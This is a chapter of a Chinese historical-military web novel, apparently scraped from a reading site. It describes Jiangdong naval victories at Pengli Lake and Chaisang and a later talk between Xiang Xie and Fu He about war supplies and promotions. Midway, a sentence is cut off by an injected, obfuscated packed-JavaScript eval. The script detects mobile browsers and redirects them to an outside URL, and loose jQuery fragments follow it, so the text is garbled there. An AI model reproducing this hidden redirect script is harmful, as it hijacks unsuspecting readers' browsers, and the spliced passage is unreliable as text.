40. 升迁

作品:《扮军师

    在柴桑守将反应过来时,季梁的船已经脱离了火船队。


    季梁下令让人熄灭火把,隐藏踪迹,提前回到了彭泽岸边。


    他走上中间楼船的甲板,留守军中的副将立刻迎上来,道:“将军,您白日里吩咐再寻石料,属下无能,没能及时找到,现在石弹已经快见底了。”


    “无碍,你们射得够精准,足够了。”季梁大步走到船舷边,摘下头盔,露出汗湿的鬓发。


    又道:“让后面的船都出去合围吧,若是荆州人在一刻钟之后没有派人投降,你亲自带兵接舷上船,小心些收尾。”


    副将应是下船,季梁看向激战的湖面,沉沉吐出一口气,心里并不怎么担心,荆州水师从大喜到大惊,已经乱了军心,这次湖战已尘埃落定。


    只是不知能否生俘敌将。


    他平静地等水上的喊杀声渐渐变弱,看见一只小船从对方的指挥船上放下来,季梁的肩膀终于稍稍卸劲,放松下来。


    他抬起手,船上的士卒眼睛一亮,都明白这是对方要降了,一个传令兵上前听候。


    季梁打了胜仗,声线却依旧没什么波澜,平淡道:“传信州牧,我军大胜柴桑水师,尽数俘获。”


    彭蠡泽这场仗开了一个好头。


    俘获柴桑守将算是个好寓意的添头,但在江东众将此前商定的策略里,真正的题眼并不在此。


    寻阳城背靠山脉,南临长江,沮奉大约也是考量过,在那里布置的兵力要远多于地理位置差些的柴桑。


    项协几人的最终目的,还是靠季梁所领的大部人马吸引注意力,引驻守寻阳的兵力增援柴桑,然后沿路伏击这支前后不着的兵力,彻底攻破荆州主力。


    项协没有刻意等季梁带来的军报,次日拂晓之际,他已经带着人蛰伏在彭蠡泽的水面上,静候时机。


    此时天色未明,万籁俱寂。江北的湖面生起大雾,水雾弥漫,宛如从天而降,倒扣在水面上。


    蒋攸钻出舱门,一张大脸快活地道:“有这大雾,还怕什么狗娘养的荆州兵?之前怎么说来着,天与不取,反受七舅?”


    “老子叫你多读点书,还派仲由监督你,你这狗贼是不是把书当草纸使了?”项协一脚踹他屁股上,自己也大步登上甲板。


    甲板上的将领都知道项协不过是玩笑,他神色轻松,显而易见地心情不错。


    能不激动吗,今年旱了一整个春天,就连横跨长江、水汽丰沛的彭蠡泽都少有雾天,夜半他们拔营时却忽然发现湖上起了大雾。


    先前他们为了迷惑视线,把大半兵力都运往彭泽,剩下的人马还要分给奉命潜行去围寻阳的伏邈,项协的人手有限,这次截援是场硬仗,打的就是一个措手不及。


    浓雾不利于行军,但却能天然地遮掩他们的行踪,项协当然高兴,但比起蒋攸,他的高兴里却有点微妙的异样——


    他想起了那人的卜辞:“天地如鸡子,浓雾塞乾坤。太极未分,鸿蒙将判。雾散则清浊立,万物生。占得:先迷后得,先困后亨,大吉。”


    项协偏头看向浓雾,这时一个浑身露水的士卒跑上甲板,报道:“州牧,前面伪装成渔船的斥候回报说看见荆州兵的痕迹了。”


    项协笑了声,高声道:“好了,都收心打仗了!”


    众将抱拳:“诺!”当下领命而去,各司其职。


    这会儿晨光已经微微亮起来了,若不快些交锋,等到太阳出来,这雾便白费了。


    江东水师张起船帆,在湖面上飞速行进。


    若是以前,项协大概这时就身先士卒,靠打头阵来鼓舞士气了,但项氏刚逢大变,连一点闪失都经不起了,项协只坐镇主船,看蒋攸带兵飞速行船,忽然扑向西侧湖面上舟楫连天、毫无防备的荆州兵。


    项协虽然不动,但若是先头不利,仍旧准备亲去,所以一直有驾着赤马船的斥候往来穿梭,向主船上传报战场的细节。


    项协在听到蒋攸带兵冲断了对方的船阵时眉头一舒,刚想开口,就见斥候罕见地露出了犹豫的神色。


    斥候拱手道:“当时蒋将军那边,还发生了点……别的。他站在在船头臭骂了所有荆州兵的祖宗,还叫沮奉把他亲爹娘从土里刨出来,叫他好骂。”


    项协大笑:“蒋攸就是个贼子,改不了的狗脾气!不用说了,等他打完回来,让他亲自学给老子听。”


    这就是稳操胜券的意思了。


    几个围在甲板上的副将听出话音,心情都兴奋起来。


    只见项协思索了一下,道:“既然蒋攸干得开头开得好,就没必要继续求稳了,我们也开船过去,和先头的船配合。走。”


    那边蒋攸见到项协开船过来,也是一喜,彭蠡泽毕竟是江东的主场,这里水师营寨的船哪怕大半都调到彭泽了,规模仍然十分可观。


    江东水师的舰船制式与荆州不同,他爬上桅杆,一眼便能看到连片的江东水师,蔚为壮观。


    旗舰的意义和其他战船不同,所有士卒看见旗舰,立刻满心振奋:连州牧都来了,你们还怕有什么闪失?


    扬州的士兵们士气冲天,在荆州的水师舰队里如鱼般地横冲直撞——


    这就是两方的不同了,彭蠡泽一直是扬州属地,江东士卒比荆州兵要熟悉得多,即便两方水师实力相当,但在地利这一条,荆州兵是不占的。


    项协指挥旗舰,灵活地避开暗礁,弓箭与拍竿同时发出,背着朝阳,强势地朝着荆州舰队而来!


    这时大雾已消散了大半,荆州兵能清晰地看见微风吹过细鳞般的水面,四周弥漫着淡淡的血腥味,连风都吹不散。


    初夏清晨,掩盖在的太阳泛着淡淡的金光,也不在乎到底谁输谁赢,周遭的所有扬州兵、荆州兵的皮甲上,都跳跃着朝霞的光彩。


    厮杀声、船破的声音,都渐渐消散下去,随着雾气终于蒸腾,天空彻底拨云见日,胭脂色的朝霞褪去了颜色,但两拨人马对峙的水面却一片深红。


    一艘艘船划开染血的水面,收拾残局,胜负已见了分晓。


    如今三线作战已有两处获胜,伏邈那边围城寻阳几乎用不着动手,哪怕寻阳守将有不降的心,也没抵抗的力——


    荆州布置在寻阳和柴桑的兵力折损大半,而江东人却有源源不断的辎重补给,只靠这点残兵,他能撑到几时去?光是围也围死了。


    伏邈从寻阳北面的山道潜行,直指寻阳,他站在战车上远望寻阳城上,引弓射出一封劝降信,没出乎意料,很快就见到了来开门投降,面如死灰的敌将。


    此时项协已经会同季梁,包围了失去指挥,群龙无首的柴桑。


    柴桑和寻阳两城被夺回,江东和荆州很快攻守易势,等到十几日后伏合来到柴桑时,伏邈已经带着水师沿着长江


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17417767|197238||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    水道溯流而上,开始攻打上游的荆州的哨所。


    “我那天去湖口跟你哥会兵,他上来就说不如干脆再往荆州打过去,当夜就带着水师走了。”


    项协和伏合坐在柴桑府衙东南角的楼阁上,这小楼阁有些高度,地方却不大,再多几个仆从伺候项协也嫌麻烦,干脆把酒壶用轮子吊上来。


    项协边喝边呼哧呼哧地吹,咂嘴道:“你哥这人看着冷清清的,有时候其实也狂得要命。这点你跟他可太像了。”


    在看舆图的伏合:“……”


    他到底哪儿来的自信指责她和伏邈?


    伏合心想反正这儿更莽的那个人肯定不是她,项协都自领州牧了,还不是说亲征就亲征了?她可没有家业非要继承。


    不过话说回来,那些跟着项骅征战的上一代元从旧部里伤病了很多人,江东本该青黄不接,但项协一边安抚旧臣,一边大胆提拔年轻一辈。


    他虽然话里带上了几句,但如果项协不认同的话又何必让这些人领兵。


    伏合也不还嘴,敷衍道:“许是娘胎里带的。”


    两人中间的案上放了一沓军报,现在柴桑是季梁把守,这些军报是他的卫兵从书房搬来的。


    她飞快地扫过军报,这些字条字数虽少,但都是最精炼的消息,能最快地让她看明白现在荆扬战场的局势。


    此时时令已进入五月中旬,夕阳西斜,余晖落在楼阁的尖顶上,恋恋不舍地留下最后一点暑气。


    伏合不想跟项协似的在这天气里喝烫酒,她翻着案头的条子,问:“伏邈打仗用的军粮现在从哪个邸阁支?”


    “豫章。”项协咽下一口酒,伸手拿过一张,在上面点了点,“庐江郡那边刚遭乱,田地损毁不少,只剩下豫章的邸阁离得最近了。”


    位置的确是一个重要考量因素,短距离的辎重供给损耗也少,选豫章郡的邸阁并不稀奇。


    但伏合在曲阿看过卢照云的军报,今年旱了许久,农田歉收几乎是板上钉钉的事,粮草的压力该怎么办?


    她把这个疑问说了出来,项协郑重道:“合妹,就算江东不打这仗,今年也会过得很难的。”


    伏合立刻明白了他的意思。


    于是惊讶道:“你们要以战养战?”


    “继续打下去,以攻为守,如果这次能一举把蔡柷那个老头打怕了,以后江东也能少个威胁。”项协有了决断之后心里便放开了手脚,人也舒展开来,长臂盖住了荆州舆图,“况且连扬州都有旱情的话,长江上游也好不到哪去,有压力的不止是江东。”


    伏合默然,她想了想,道:“是所有人都这么想吗?”


    “当然不是,”项协笑了笑,“魏老将军特意从皖县过来劝我,还有陆元任,他们几个都不赞同。不过现在既然已经放手去打了,他们也就没异议了。”


    伏合听到陆元任这个名字愣了愣,才反应过来他说的是陆约。


    陆约过年时还送了她一枚小印章,伏合想起关于丹阳陆氏的那个消息,道:“陆约也来豫章了?”


    陆氏回回和项氏产生摩擦,她还以为项协以后大概要疏远陆氏了,没想到陆约不仅升了职,而且升迁极快。


    他现在的身份,或许不比陆氏属意的九江太守之位差什么——能以文官身份跟随州牧在前线主事,那就肯定不是作为海盐令,而是州一级的佐官了。